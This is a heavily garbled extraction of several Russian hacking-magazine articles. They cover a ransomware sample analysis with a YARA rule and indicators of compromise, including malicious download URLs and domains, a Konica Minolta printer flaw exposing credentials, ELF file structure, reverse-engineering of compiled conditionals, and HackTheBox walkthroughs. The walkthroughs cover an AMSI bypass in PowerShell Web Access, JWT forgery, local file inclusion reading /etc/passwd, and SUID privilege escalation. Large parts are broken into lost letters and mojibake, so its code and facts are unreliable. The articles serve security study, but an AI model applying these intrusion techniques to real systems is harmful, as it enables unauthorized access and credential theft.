о а рес о ор й со ер а е за с0 029016EC П фу р текст для указанного потока и функция для возобновления работы нового исполняемого файла S tTh dC t t ResumeThread Вызов функции SetThreadContext Вызов функции ResumeThread Перед выполнением функции мы получим дамп созданного р Д у Н у Мо Sc lla ResumeThread S yll Hid Запуск плагина ScyllaHide С у р р й р уд б й д д ц д Н б д найти код генерации ключа для шифрования файлов и алгоритм шифрования д д р й IDA P y Н ущ уд р р д й ду р бр й Т р у р р б р р P H ll i g С р YARA р р р При создании сигнатур для этого семейства шифровальщиков необходимо проанализировать множество файлов найти общие участки кода и строки А для этого может пригодиться полезный плагин в IDA mPro kYARA rule detect ransomware { meta: d ipti D t t l autor rayhunt454 g $ di32 dll $ \\ i j p $s3 <!< <C<O<X< <g<s<|< di i u0 int16( ) 0x5A4D and all of them } В р р (IOC ) р ру Loki Scanne S icata MD5: a2f33095ef25b4d5b061eb53a7fe6548 SHA1: b38a8cb06507adb966dfdb809403f8f7f64ca534 U s h p // pi ip h p // gl g/fil / /b ild exe http://tzgl org/fhsgtsspen6/get php? pid AD4334DBE387EF198B77CC7408B38C8F&first false Domains: api 2ip ua kotob top tzgl org ÇÀÊËÞ×ÅÍÈÅ В й б р р й р б р р д й ф й д д Пр д р бр у др р P H ll i g р р б б р р е а М с о ре о ос й фай о ос с фро а а главная задача которых зашифровать важные данные чтобы затем пот ребовать выкуп

КУПИЛА МАМА KONICA КАК СПЕЦИАЛИСТЫ НАШЛИ УЯЗВИМОСТЬ И ВЗЛОМАЛИ ПРОШИВКУ МФУ ВЗЛОМ Уязвимости обнаруживают не только в операционных сис ф д р б у р й Исследователи из недавно наш ли любопытную уязвимость в многофункциональных устрой ствах Konica Minolta и рассказали о том как на ее исправ д COVID 19 SEC Consult Vulnerability Lab Проб е а а а а ес о о е ей МФУ Konica Minolta bi h b й й р д д у иметь непосредственный физический контакт с сенсорным дисплеем МФУ оз о ос о ю е е юю а а р К й р р р р р р р реализации сетевых протоколов этих устройств Ребята из SEC Consult пошли В б й р р р б у у б ю ер раз е о ред аз а е о д реа зац од о ед с е о фу кции: печати изображения на бумаге В нем есть устройства ввода сен й й б USB RJ 45 рф р д д руд RFID для аутентификации пользователей МФУ б й ф рф й р у р р р р ц р р р пользователь непосредственного доступа не имеет Все действия в системе ф р б р р р о е еа ор зо а о о о зо а е с о ра е р е П й й б В SEC C l р р р р ную аномалию А именно: внешний вид графического приложения на сен б р Э р р р д р у р с о з ю с р е с а ар е р о е о е о е ос й Д й д р ру уру р ния клавиш сумели запустить на экране браузер Chromium Возникло подоз б ф й й р р ф й ф ур р р р ф д ц д Подопытный Konica Minolta bizhub C3300i с помощью этого дисплея ( й ) Ä É É Д дру д ф устройствах нужен чтобы управлять очередью печати сканировать изоб й Д й у у р р у р фу кции реализованы в виде веб приложения Так если на сенсорном экране Minolta bi h b C3300i ерей раз е User a thentication а а о P bli U A б Utilit щ р y р р р р р Она реализована в виде веб приложения для отображения которого откры й б Ch i ( ) б б й р р рф й сс едо е о реде э о о з е е ю е е о офор е р ложения б р Ф ( р co su t co ) Если в этот момент подключить к принтеру внешнюю клавиатуру (все МФУ й USB ) б у д р список и не срабатывает Однако если нажать клавишу F12 на экране о рое с о со разрабо а Ch omi m э ф ю соз а е соф а у б б К р р б р р д у y у to workspace и добавить в консоль разработчика любую папку в файловой б Ch i р б й ОС р Н р ц д д р ру консоли разработчика папку /var/log/nginx/html/ ÏÎÕÈÙÅÍÈÅ ÈÍÔÎÐÌÀÖÈÈ В й ф й р д р р д р р р рф причем в виде обычного текста ADMINPASS П K i Mi lt i t t ( й ) Аналогичным образом можно получить доступ и к другим объектам в фай й ф й б ф р ц р д у д р фай а за фро а о с о о ю б б о е ой ф о о р б р фр б б руд / t / h d t Дос у /etc/s do ( юс р ц с с sec co su t co ) Все это говорит о том что разработчики встроенного софта для аппаратов K i Mi lt б й д ф у С использованием полного доступа к файловой системе МФУ злоумыш Е б й б й ф й р ц д р р у Еще можно отправлять копии всех отсканированных документов в общую пап SMB б у у р р б ру сс едо а е ас ос ред а аю а о сце ар с з оде й б р р ( р у ) Н у р у р д ц р д е о е оз о о о о с а ар о о а о о о о о а е о с р [ др р ] П ( й l ) р р р д у уду попадать в расшаренную папку на сервере откуда впоследствии их без труда ÂÛÂÎÄÛ Согласно представленной исследователями информации уязвимости под 46 й МФУ K i Mi lt bi h b у р у ру ц д б р выявлен в 2019 году и эксперты своевременно оповестили изготовителей б й У ф й й б CVE 2022 29586 р р р щ р том виде в файловой системе CVE 2022 29588 K i Mi lt й б ру у й (2019 ) уб й ро о без о о р од Э с ер C Co su у ер д ю о основной причиной такой медлительности стала пандемия COVID 19: в МФУ K i Mi lt й у д д ф р су с е сер с о о е ера ос о у ер од а де о е о б б й рр р р р у р д р д щ у вимы перед подобными видами атак сервисные инженеры Konica Minolta й у р д щ дд р у ур р р р б у й б у б р ур р р д р р р софтом стандартных компонентов ОС для организации интерфейса с поль В б у р р р у р ф у у у у р у о с с е е ра зо а ой с с е об о е ро о МФУ Konica Mi lt й б р

АНАТОМИЯ ЭЛЬФОВ РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF ФАЙЛОВ Е Wi d ф й ф P t bl E t bl (PE) Li д ф ф р ( ) у ( б ) Т р у у ф ф р б ×ÒÎ ÍÀÌ ÏÎÍÀÄÎÁÈÒÑß б б р у у р р р ELF ф й б ( ); р ру ( р ру ) фу ц ф й б б р р ф р ( б у у ) i б фbjd р ( р p ) dt i t ll bi til й б р щ р ) IDA ф Т б б h d б ( 49 95 30 й й ф у у y у P th ф ELF ф й ) ф ф р р ц у р ц щ у ф ф р р р р р р ) ф й (PIE p ) В ф й й у р ц р р р д p б б ф й ф ( б б В б б р р дру р щ ф р д б ф й б й б й ) р р б О á ф ц др д ф р р р Э ф р Ä ô б ( []) { i f( ll ld ) б GCC С б ( GCC) 64 р р ф ( у у р р ELF ф й ) р р р р д ф р ц у б б б б у g р р И ( у р р ) l у р р р ф й й й р р р б б й б й б GCC р р б б б й б й GCC S ф ( р б ) В й I t l ( б у у р у ф р р р i t l p Н ф й (l fil l g l bl i fi d f f ff p @ ф б ф б б @ t () i tf( б GCC р у р ц ц ф p ф ф l l б б у ( Wi d ) б С р д у у [ ] ф d bl i bl p у ф р ф б б Ä ô Д ( й б б ) i h ll ld f i () { ) р р б б Д б б ( р у фу р р б б й й у р ф GCC йl lib h d g p p у у й ф й d libd i l / /lib б б б б Д () } ру б б р ф р р р р р р р р ф й й ELF ф й

АНАТОМИЯ ЭЛЬФОВ РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF ФАЙЛОВ ВЗЛОМ НАЧАЛО СТАТЬИ← ÇÀÃËßÄÛÂÀÅÌ ÂÍÓÒÐÜ ELF ÔÀÉËÀ ELF файл состоит из заголовка и данных которые включают в себя область так называемых заголовков программ область заголовков секций и самих секций В последних как раз и содержатся код данные и все остальное необходимое для использования этого ELF файла по назначению Струк тура 64 разрядного ELF файла схематично показана на рисунке ниже Общ ру ур 64 р р д ELF ф й Присутствие заголовка и секций с кодом данными и всем остальным для ELF файлов обязательно тогда как одновременное наличие заголовков программ и заголовков секций нет В файле могут одновременно присутс твовать обе эти области с заголовками программ и секций либо одна из них Чуть позже мы разберемся от чего это зависит С ец ф ац ю фор а а ELF фай о о о з а о 64 разр д э фо о 32 разр д ос о ре здес о здес Çàãîëîâîê ELF ôàéëà Как мы уже выяснили любой ELF файл начинается с заголовка который представляет собой структуру содержащую информацию о типе файла его разрядности типе архитектуры версии (Application Binary Interface) а так же о том где в файле искать все остальное Формат структур заголовка как для 32 разрядных так и для 64 разрядных ELF файлов (как впрочем и форматы всех остальных структур ELF файлов) можно посмотреть в файле ABI / usr/include/elf h Первые 16 байт заголовка (массив ) служат для идентификации ELF файла Первые четыре байта это магическая константа состоящая из байта за которым идут ASCII коды символов E L и F По наличию этих байтов загрузчик Linux (или к примеру утилита le) определяет что перед ним именно ELF файл (в PE файлах Windows аналогичную функцию выполняет комбинация из ASCII кодов символов M и Z) Следующие в этом массиве байты в файле обозначаются такими константами: e ident 0x7f elf h бай о реде е разр д ос ELF фай а (з а е е соо е с уе 32 р зр д з е е 64); EI CLASS 0x01 0 02 значение этого байта определяет данных при размещении их в памяти (Little Endian или Big Endian) Архитек тура x86 использует размещение байтов Little Endian поэтому значение этого байта будет равно ; EI DATA порядок следования байтов 0x01 версия спецификации ELF формата Корректное значение ас о щее ре ; EI VERSION 0x01 о реде ю ерс ю д о о о ерфейс и операционную систему для которой откомпилирован файл Для Linux первый из этих двух байтов обычно имеет значение или вто рой Общую спецификацию ABI (так называемую ABI System V) можно взять расширение этой спецификации для архитектуры i386 (это все что касается 32 разрядных ELF файлов) лежит Рас ширение для x86 64 (это для 64 разрядных программ) ; EI OSABI EI ABIVERSION 0x00 0x03 0x00 отсюда здесь тут в настоящее время не несет никакой нагрузки и заполнено нулевыми значениями (в местах с индексами от 9 по 15) EI PAD Далее после массива расположены следующие поля:e ident значение этого поля как можно предположить определяет тип ELF ф й ( ду р р р д данием примеров для нашего исследования) Некоторые интересующие нас в первую очередь значения этого поля: e type исполняемый файл (значение равно ) Данное зна е е с о зуе с о о д оз ц о о за с с о е ELF файлов (например тех которые были скомпилированы GCC с опцией ); ET EXEC 0x02 no pie ере ещае й фай (з а е е э о с у ае );ET REL 0x01 разделяемый объектный файл (значение равно ) Дан ное значение характерно как для динамически подключаемых биб лиотек (тех самых которые обычно имеют расширение ) так и для позиционно независимых исполняемых файлов Как они различаются мы обсудим чуть позже; ET DYN 0x03 so значением этого поля определяется архитектура для которой собственно и создан ELF файл Поскольку мы в первую оче редь говорим об архитектуре x86 в 64 разрядном исполнении то зна чение этого поля будет (равно ) Понятно что можно встретить и другое значение например (для 32 разрядного слу р ур 86 р ) р ру (д р ц соров ARM и равное ); e machine EM X86 64 0x42 EM 386 0 03 EM ARM 0x28 дублирует значение байта из массива ; e version EI VERSION e dent о а ода ELF фай с о орой а ае с о е е ро р Д оз ц о о з с ф й о здес е бсо ю й р у й др р р д ц д д щ р у адреса начала образа ELF файла загруженного в память; e entry смещение начала заголовков программ (обрати внимание: здес о е о о од с еще е о ос е о ф й р у й др ); e phoff смещение начала заголовков секций (также относительно начала файла); e shoff э о о е содер ф а с ец ф е д о ре ой ар тектуры для которой предназначен файл В нашем случае (имеется в виду архитектура x86) поле имеет значение ; e flags 0x00 размер заголовка ELF файла (для 32 разрядного он равен 52 байтам для 64 разрядного 64 байтам); e ehsize размер одной записи в разделе заголовков программ (размер одного заголовка); e phentsize число записей в разделе заголовков программ (число заголовков программ); e phnum размер одной записи в разделе заголовков секций (раз р д ); e shentsize с о за сей разде е за о о о се ц й ( с о за о о ков программ); e shnum это поле содержит индекс (то есть порядковый номер в разделе заголовков секций) заголовка одной из секций которая называ ется Эта секция содержит имена всех остальных секций ELF файла в кодировке ASCII с завершающим нулем e shstrndx shstrtab Чтобы посмотреть на заголовок ELF файла воочию воспользуемся утилитой readelf (здесь опция указывает что необходимо выводить полные строки без ограничения в 80 символов в строке а опция говорит что вывести нужно именно заголовок): W h eadelf W h e a ple as На выходе получим следующую картину В д ELF ф й щ d lf Также посмотреть на заголовок ELF файла можно с помощью любого шес тнадцатеричного редактора (к примеру на рисунке с hex редактором 010 Editor выделен заголовок ELF файла с нашим хелловорлдом на ассемблере) или привлечь к этому делу Иду (на рисунке выше видно заголовок этого же фай а) На Python о о а са рос ой с р (с с о зо а е lief) о ор й о е ес а за о о о о ос ю а о де е е о э е менты: import lief elf object lief parse( e ample asm ) header elf object header print(header) # Отдельно выведем точку входа print( Entry point: %08x % header entrypoint) Ну а о ец о о а са ер а е ( да о с у ае фор ац будет несколько меньше по сравнению с readelf): objdump f example asm Результат работы objdump: вывод информации о заголовке ELF файла Продолжение статьи →

АНАТОМИЯ ЭЛЬФОВ ВЗЛОМ НАЧАЛО СТАТЬИ Ñ Ö Î Î ÄÑ Ô Î ф б й б ф й у р р ф ф ф ( ф ) р ф ( ф ) ф p p ( ) )) ( ф ) ф й й ф й ( р ( р ) Дh b ( ру р ) ру уру ( р р ф ) ф ) y y б рy y ф й ( ) р й й й lf р р р ф ( ) ( ф ) ф ( ) ф б б б р ( ) ф (h i f р у ) ( )b lf ф р у ру р ф р р ф 86 6 б ELF ф й р фу р р р р б б ) р р у ф ( й ) ф ) ) ф ( j ) ф З б ф ( фу у фу ф йi () Д ELF ф й ф р р р ( р р р ) ф ( ) у у ) ) ) ф ф ( р р ( ф б ) p p g g [ ] ( ( ) ( )[ ] ) р фу ф

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ОПРЕДЕЛЯЕМ КУРС ВЫПОЛНЕНИЯ ПРОГРАММ ПРИ РЕВЕРСИНГЕ К К р а ер Ле е а ][ e ВЗЛОМ Т мыщъх nezumi (яп 鼠 ) 2k l t i j KPNC Ю й Я р д д y П б р сс едо а е С ар а ор Х y g ВЗЛОМ Сегодня мы приступим к подробному изучению условного хода выполнения программ Без него невозможно предста вить программирование как таковое Мы начнем наше пог ружение с условных операторов и раз беремся как компилятор интерпретирует подобные конс трукции if then else Фундаментальные основы хакерства Пятнадцать лет назад эпический труд Криса Касперски Фундаментальные р б й й д щ д б р й б Од р д уб Кр р у Р д р Х р лись обновить этот объемный труд и перенести его из времен Windows 2000 и Visual Studio 6 0 во времена Windows 10 и Visual Studio 2019 Ссылки на другие статьи из этого цикла ищи на странице автора Раньше мы уже встречались с условным ходом выполнения программ однако ограничивались короткими описаниями команд и поверхностным разбором выполняемых ими операций Управляемый ход выполнения без сомнения са а а а е а раз ро ра ро а с ое о ре е за е ае ду щ д ру ур р р р ООП Т ур у нет ничего любопытного и оно лишено какого либо разнооб р Н д р р р д д ! И б по духу ситуациях он может построить кардинально различающийся код if then else В процессорной архитектуре x86 предусмотрен весьма оригинальный набор команд для перенаправления хода выполнения программного кода Ор а й е з а оро й о ой э о з а о о о ае с б р р р ц р дру р ур р д й ARM MIPS SPARC д ее К з е ер й роцессор э ой сер соз давался впопыхах для временной замены еще не готового iAPX 432 пос ледний в свою очередь должен был уметь в многозадачность и управление памятью на аппаратном уровне Чего в итоге не случилось А x86 продолжил свое развитие Поэтому сейчас когда за годы эволюции процессоров серии 86 б р ру ц й р р д р р б д б р ру р д ру ц й ÈÄÅÍÒÈÔÈÊÀÖÈß ÓÑËÎÂÍÛÕ ÎÏÅÐÀÒÎÐÎÂ Существует два вида алгоритмов безусловные и условные Порядок дей ствий безусловного алгоритма всегда постоянен и не зависит от входных д Н р р b + П р д д й й у р р д у щ д Н р р « »/ ; : âûâåñòè ñîîáùåíèå îá îøèáêåиначе Обр р р ф р р у у р р Б б д д р р ( р д р р наподобие Hello World! не в счет) Условные операторы сердце любого языка программирования Поэтому чрезвычайно важно уметь их правильно определять В об е е ( е у уб с с а с ес е о роб ос о е ) р р у бр « » (óñëîâèå) { îïåðàòîð ; îïåðàòîð ; } { îïåðàòîð ; îïå ðàòîð ; } IF THEN ELSE Задача компилятора преобразовать эту конструкцию в последователь ность машинных команд выполняющих оператор оператор если условие истинно и оператор оператор если оно ложно Однако микропроцес соры серии 80x86 поддерживают весьма скромный набор условных команд о ра е й фа ес о ус о ере о а Про ра с а IBM PC р ду ущ у р ц р дд р щ р фикс условного выполнения инструкции То есть вместо того чтобы писать 1 2 a b S C C JNZ MOV EAX 0x666 у TEST ECX ECX IFZ MOV EAX 0 666 и есть префикс условного выполнения разрешающий выполнение сле ую ей о а о о о с у ае ес ус а о е ф а у В э о р р ц р 80 86 р р д а Basic е разре ающ с о зо а ус о ра е а ой другой оператор кроме GOTO Сравни: IFZ Ñ ð é ä B i 20 GOTO 40 30 PRINT A B 40 // Прочий код программы Íîâûé äèàëåêò Basic: IF A B THEN PRINT A B Е д буд р р р р д B i р о о о ораздо од ее о ес ус о е о о а ро о с у ае ро о а ор а ое о е е ро ра К д р р у р р р B i д б б д б р р р Большинство компиляторов (даже не оптимизирующих) инвертируют истинность условия транслируя конструкцию « »(ó ) { ð ð ; ð ð ; }IF THEN 1 2 ду щ й д д IF (NOT условие) THEN continue р р ; р р ; contin e: 1 С едо а е о д осс а о е с од о о е с а ро ра а р дется вновь инвертировать условие и подцепить блок операторов к ключевому слову Иначе говоря если откомпи лированный код выглядит так: { опе ратор ; оператор ; } THEN 20 PRINT A B 30 // Пр й р р можно с уверенностью утверждать что в исходном тексте присутствовали строки А если программист наоборот проверял р A B р д р у ру ц ? Все ра о о ор ер руе истинность условия и сгенерирует следующий код: IF A B THEN PRINT A B <> <> 10 IF A B THEN 30 20 PRINT A<>B 30 // Пр й д р р Конечно встречаются и компиляторы страдающие многословием Их легко р б у у р у у у р у у р р (у ) GOTO ti do: р р ; оператор ; ti 1 В у р р у у В р д ничего страшного не произойдет разве что код программы станет менее понятным да и то не всегда Рассмотрим теперь как транслируется полная конструкция « » (óñëîâèå) { îïåðàòîð ; îïåðàòîð ; } { îïåðàòîð ; îïå ðàòîð ; } IF THEN ELSE Одни компиляторы поступают так: IF ( с ов е) THEN do it // р р ; GOTO continue d it // Ветка IF р р ; оператор ; ti a b А ру ( у ) l // В IF р р ; оператор ; GOTO ti else: // о ера ор ; р рb Разница между ними в том что вторые инвертируют истинность условия а первые нет Поэтому не зная нрава компилятора определить как выг лядел подлинный исходный текст программы невозможно! Однако это не создает проблем ибо условие всегда можно записать так как это удобно Д у р б ру « »IF (c <> 0) THEN a b/c ELSE PRINT Îøèáêà! Пиши ее так: « »(c 0) Î á à S a b/c И никаких гвоздей! П →

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ОПРЕДЕЛЯЕМ КУРС ВЫПОЛНЕНИЯ ПРОГРАММ ( ) (( ) ( )) (( ) ) ) (( ) ( ( [ ] ))) ф (( ) ( )) (( ) || ( ) ( )) б (( ) || ) ( ) (( || ( ) ( ) б (( ) ( )) ( ) ) || ( )) ( ) ( ) ( ) Д ( ) ( ) ( ) ( ) ( ) ( С б( ) ( ( )) ( )) { } « » « » С 80 86 ) б 0 8 б О Развитие процессорного расширения SSE SS б ( ) Ô Э ф ф ( ) ф ( )

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ОПРЕДЕЛЯЕМ КУРС ВЫПОЛНЕНИЯ ПРОГРАММ ПРИ РЕВЕРСИНГЕ НАЧАЛО СТАТЬИ Ù р р р р р 8 у р ( [ ] [ ] ) ф ф ф р р р р SSE б й ! () { р З й IDA б d h @ q р @ р р ру у р у [ p ] б Об б р р р ру у б 0 ф ) j j р [ ] d [ b ] [ ] [ ] Т ф ру у р у ( ) ( ) [ p ] [ ] [ ] Б й й р р р К р р S ô У ф ÏÐÎ×ÈÅ ÓÑËÎÂÍÛÅ ÊÎÌÀÍÄÛ М 80 86 у у р р р [ ] ( у р р р у Э б ( ) (2) р р р р б 2 й К ( р р ру б б р р р р у р б б б

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ИЗУЧАЕМ С О ОД В ОБРАБОТКЕ СОВРЕМЕННЫМИ КОМПИЛЯТОРАМИ С б р р уд у рами Таким образом ты узнаешь как ветвление исполь у р р р б й б Фундаментальные основы хакерства р д р д б К Р Х р р б б Ч р ÈÄÅÍÒÈÔÈÊÀÖÈß ÒÅÐÍÀÐÍÎÃÎ ÎÏÅÐÀÒÎÐÀ C б б й ( ) ( ) р р р р } ц д у д i i (i ) [ p ] [ ] [ ] й р р [ ] jl h l [ p ] р р у у ; р р ll d d h i h ( d ) р р р д ц р р у/ ( ) h (i ) Д ; р [ ] d [ b ] А ! И й ( б б 0) В 2 0 [ ] [ ] й р р р ( ) [ ] dd d [ b ] p p p д у р р у З б б р ( ) p ( ) б б О б б О р р О р р р р р ру б Ö ( ) ( ) ( \ ) } [ p ] [ ] Об йl 000 0 ( ) ( ) р р р р j Д ( ) [ ] [ h ] р ( у ) р у С ( Р й ф у р у р д р у р д [ p ] р p [ p ] О

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ИЗУЧАЕМ УСЛОВНЫЕ ПЕРЕХОДЫ В ОБРАБОТКЕ СОВРЕМЕННЫМИ КОМПИЛЯТОРАМИ О С р р р p [ p ] Т й р р й ; j р у р р р у Об C А i t fl t i Д р р р р @ [ ] @ [ ] [ ] р р у ру ру SS б [ p ] у р р р р р ф Н ( j j [ ] [ ] jb h l [ ] ф j ф б j j [ ] 0 [ 38 8] ущ р й р р р р р р р д д уд й C B ild p d d у р р j \ [ b ] l i ↑j [ p ] j j [ ] [ ] j h l p [ p ] j [ ] [ ] j l b\ ll i f [ ] К й C B ild INFO й Vi l C C B ild В C B ild é Т ф й й () { ( ) i f( \ ) lb if ((( ) ( ! )) || (( ) ( ! ))) ( ) ( й б ) p p [ ] [ h b] [ h ] С б j р р у р p [ p ] j р [ ] l i ↑j р р у рр ру

ФУНДАМЕНТАЛЬНЫЕ ОСНОВЫ ХАКЕРСТВА ИЗУЧАЕМ УСЛОВНЫЕ ПЕРЕХОДЫ В ОБРАБОТКЕ СОВРЕМЕННЫМИ КОМПИЛЯТОРАМИ ВЗЛОМ НАЧАЛО СТАТЬИ ; j l l ; ру р [ p ] ; р р p [ p ] j h l l 14000225C \ ll i tf ; j p В о е рас ае о ро ое раз а с ое ере о о оро а ер й б Н б ру П р ру р б р ру р р у д Теперь когда скелет дерева построен они уже не нужны Если все сделать Ло ес ое ере о С б Z Э д р р д ру ц ! Т й б й ! И д д д р д о е уе це ое о ще езд ере оде а русс з ситуация выглядит так: р р р д ( ) И p ( ) IF THEN [ELSE] если переменная не равна нулю то печатаем O р р var d ( ) p ( ) d ! 0 ELSE д ( ) у у ду д у Г р д р у й p ( ) ( b) !( 0) !( ! ) !( 0) р у б у ру ру д р ц у д р р у IF (( b) && ( 0 ! 0)) || ( ) ( )) p ( ) IF ( d ! 0) THEN i tf( OK ) ELSE IF (( ) ( )) || ( ) ( )) i tf( OK ) у р р р д р щ р И б й д ру р р д ( ) i tf( ) ; ; ; ; id f ( ) i tf( TRUE ) l b 0 i0 f ((( ) && ( ! )) || (( ) && ( ! ))) i tf( OK\ ) id f ( ) i tf( \ ) р р д у р у б й й й А р у р д уд д у ф р б р б б у р у g j b ÎÏÒÈÌÈÇÀÖÈß ÂÅÒÂËÅÍÈÉ К ф И б у б б б р ( р у) у д устанавливает выходной операнд в 1 если флаги состояния и р ( ) И й р у SETGE SF OF [ ] p g d dd 0 300 [ ] р д фр ро о за а о о за о о е а з а Но е ере а рез а о if ( 0 666) 0 200 l 0 300 которое в неоптимизированном виде выглядит так: [ A] cmp eax 0x666 jg j p b l [ ] Чем же компилятору не понравился такой вариант? Между прочим он даже ! К А р б у у р д р р р р ц р очень длинный и быстро его не заполнишь Поэтому избавление от ветвле й й р р у П у у р р д р р ро е ес оро е о оду а а е о а о о с о ро [ A] A 0 0 666 if ( < 0 666) { SF 1 OF 0 } l { SF 0 OF 0 } g ; ( ) ( ) ; ; ; ( ) ; ; ; ( ) ( ) ( ) ( ) ( ) l [ 0 66] Получилось! Мы разобрались с этим алгоритмом и успешно отреверсили его! Т й ( б б ) Н дер ос о е ру е ус о ере од ро де с у о е б за е е а а ( а е с зай о ) По э о о о р ру д у SET SBB Что этот код делает? Какие то сложные арифметические действия? Пос SUB EBX EAX if (EBX EAX) SF 1 l SF 0 SBB ECX ECX if (EBX EAX) ECX 1 l ECX 0 AND ECX EBX if (EBX < EAX) ECX EBX l ECX 0 ADD EAX ECX if (EBX < EAX) EAX EAX (EBX EAX) l EAX EAX р д р ( д ?) й р у р д д у щ д р мер: EAX if (EBX EAX) EAX EBX CMP EAX 1 П б й CMP EAX 1 if (EAX ! 0) SF 0 l SF 1 SBB EAX EAX if (EAX ! 0) EAX 1 l EAX 0 AND ECX EAX ; if (EAX ! 0) ECX ECX; else ECX 0; XOR EAX 1 ; if (EAX ! 0) EAX 0; else EAX 1; ; ( ) ; ; ; ( ) ; ; Д й Б б б ! у д р ц ц у д щ с о о оро дос о о о о о ос с ус о ере од е с ре с о а о з а Та о особо а р а с р а а зе ( й р ф р р б р р у р д ) ÈÒÎÃÈ С бр р у р р ц д р р р р р р р и сравнив его с обычным условным оператором мы увидели что компилятору б й ур В б у р р р р р р у о о за е е да е с о ю е о а ресс о о зац е Ц й й й у у д р у д у у и навороченнее условия будут тебе встречаться тем большую благодарность б ! П й й й й д р р д у у у др б р р б раз е е ро ой с Уа с о е о а б е ой с а о В й б р р бр р р р ру р д р листинге эту конструкцию и какую выгоду могут получить наши программы

HTB SEARCH ОБХОДИМ AMSI В POWERSHELL WEB ACCESS ПРИ ПЕНТЕСТЕ МАШИНЫ НА WINDOWS В й б р ру б K b g щ у ф E l AMSI б р (MSA) р р С р р р б б / / | | | / / $( $ [ ] | / \ $/ ) $ $ у ( ) / 8 2 б S ( ) у у g ф р р р р О б Т 443 ф N й h h b h б R i P A th / / / [ ] [ ] ( ) ( ) ( ) ( ) li d( [ ]) li d( [ ]) li d( [ ] ) ( [ ] ) ( ) ф Д р у k b li d d h h b d h h b С й ASR R ti ф Г й З Î Î у б $ у р ф й й б g б S б ( ) А SPN б З SPN ( K b p р у у р ( р р ) у р у р у р ф р й

HTB SEARCH С O S ВЗЛОМ НАЧАЛО СТАТЬИ ф у у р р р ф П й Д ф ф б б C С C р y З й ф ff ( )j j ф р ф р р р ф р у р ( g y ) ф р ф р р // / / / З б P Sh ll $ j ( ) ($ $ ) $ ( $ | ) $ () р р ( ) б ($ $ ) { ($ ) {$ $ }} ($ $ ) { ($ ) {$ $ }} [ ]$ $ [ ] ($ $ ) р ф р р р р р р р Н П ð y р у у Д Д ф Э р у р у р р d d $ $ $ { } $ $ ру

HTB UNICODE ПОДДЕЛЫВАЕМ ТОКЕН JWT И ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ CURL Сегодня мы поработаем с токенами JWT р у ру LFI б ф р р р р ELF ф й й на Python 3 9 Все это поможет нам пройти р у U i d щ д WARNING Подключаться к машинам с HTB рекомендуется р д р б б й Ä ð ð Д др у р р Справка: сканирование портов Сканирование портов стандартный первый шаг при любой атаке Он поз воляет атакующему узнать какие службы на хосте принимают соединение ф р ц б р ду щ у д ру д р p у р у р р щ ду щ р #!/bi /b h p | | | p $( p $ g p [ ] | $ t A $1 Он действует в два этапа На первом производится обычное быстрое ска ро е оро бо ее щ е ое с ро е с с о зо е щ р ( ц ) б М 22 служба OpenSSH 8 2p1; 80 веб сервер Nginx 1 18 0 Н й р Н й й Э б ф Т й С Р б бB P B P д р д р р д ф р И сразу подмечаем несколько новых возможностей после авторизации Главная страница сайта после авторизации З б й б JSON б б й З й / ф Э б й l Э р р р р у р д р р д у ру р р р р р ру рp p Д р П б б Д б б б й й Я б й В О URI р у р ур д д р р д р д ( y ) у j t t l j t i j Де о ро а е JWT р р ру р д ф j / / y ( ) р р р у д р р ущ р р р ц д р р ру р у р р р у ру р р j j И й JWKS Да ей й е ор о е е еоб о о з е о зо а е а о дас а р е ро а о е с од са о е да й JWT й б ad ÒÎ×ÊÀ ÂÕÎÄÀ Те ер разбере с с о с ю В за о о е аза а рес JWKS о ае нам следующую идею: сгенерировать свою пару ключей для подписи токена соо е с ующ J S о ес J S а с ое еб сер ере з е з о о е ро е дрес у з ющ э о сер ер Д р р у у р р у j g Г й Теперь вернемся к токену на jwt io Изменим имя пользователя на ф й ( б Ф ф р y у ру ф р y ( ) y ( ) admin jk С JWT д p р у р р j О р р р р р р р р р у д у р р д р уд перенаправлять на наш сервер запросы совершаемые для проверки : j jk p // / / / / /j j Н JWT р д р р р р Л б Но ос е о ае С орее се о э о с за о с а фай е J S рос о р о да фа с сер ера з е е о о ара е р ( ) В B й П б р у C ki Edi д р р В

HTB UNICODE ПОДДЕЛЫВАЕМ ТОКЕН JWT И ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ CURL ВЗЛОМ НАЧАЛО СТАТЬИ ÒÎ×ÊÀ ÎÏÎÐÛ у р у р цу р р д в параметре С /di l П б й б ф й у у щ у ф р / t / d Сооб е е о об ар е а а а а То а р е с о ар о оро со ер а с раз е с особ об о а ф LFI д р ф / / р р р у р д ( ) Теперь проверим полезные файлы в Linux Из файла получим й й б й l d /etc/passwd С ф й / t / d И ф й ф б N i у д р р ф р / t / i / it il bl / / / / pp/ y С р ф й / / gi / i il bl /d f l Со ер ое фай а /home/code/app/db aml С э аро е о ю ае с о SSH заб рае ер й ф а Ф ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ П б й й d б SUID р уд р д д р р р р у б ( ) р р д р ф р д й ф й ELF / /bi /t t р р ф р у у д д у какое нибудь сообщение И этого легко удается добиться О б ф й И б ф й P h Ч бу р р у у Чтобы вытащить скрипты из файла ELF используем pyinstxtractor р у ф ф д y р у д р р зовать для этого популярную программу но ничего не получиuncompyle6 Содержимое каталога /treport extracted Ошибки uncompyle6 В поисках способов декомпиляции я наткнулся на репозиторий Заг б pycdc it l htt // ith b / / d it d d cmake CMakeLists txt Н й б Сборка проекта А теперь получим декомпилированный код на Python Д t t Э ф й ф й Е б можно было бы выполнить инъекцию команды но просто так это сделать ф y П й б ф ф у д р д у р р р уд{ } Д Н й й й й р д р р р у у ф й ф й М б й ф й ( ) б б ф р р у у р р р у ф ру l g { g / / / y } SSH { g } Ф Т

